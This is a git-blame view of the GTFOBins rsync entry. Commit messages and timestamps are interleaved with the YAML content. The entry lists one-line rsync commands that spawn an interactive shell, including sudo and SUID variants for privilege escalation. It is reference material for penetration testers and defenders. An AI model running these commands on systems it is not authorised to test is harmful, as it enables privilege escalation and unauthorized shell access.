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GTFOBins.github.io/_gtfobins/rsync.md

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add new ways
2018-08-17 15:16:09 +00:00
---
functions:
Simplify rsync and add interactive execute
2018-08-19 08:12:08 +00:00
execute-interactive:
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-06 23:00:01 +00:00
- code: rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
add new ways
2018-08-17 15:16:09 +00:00
sudo-enabled:
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-06 23:00:01 +00:00
- code: sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
Simplify rsync and add interactive execute
2018-08-19 08:12:08 +00:00
suid-enabled:
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-06 23:00:01 +00:00
- code: ./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
add new ways
2018-08-17 15:16:09 +00:00
---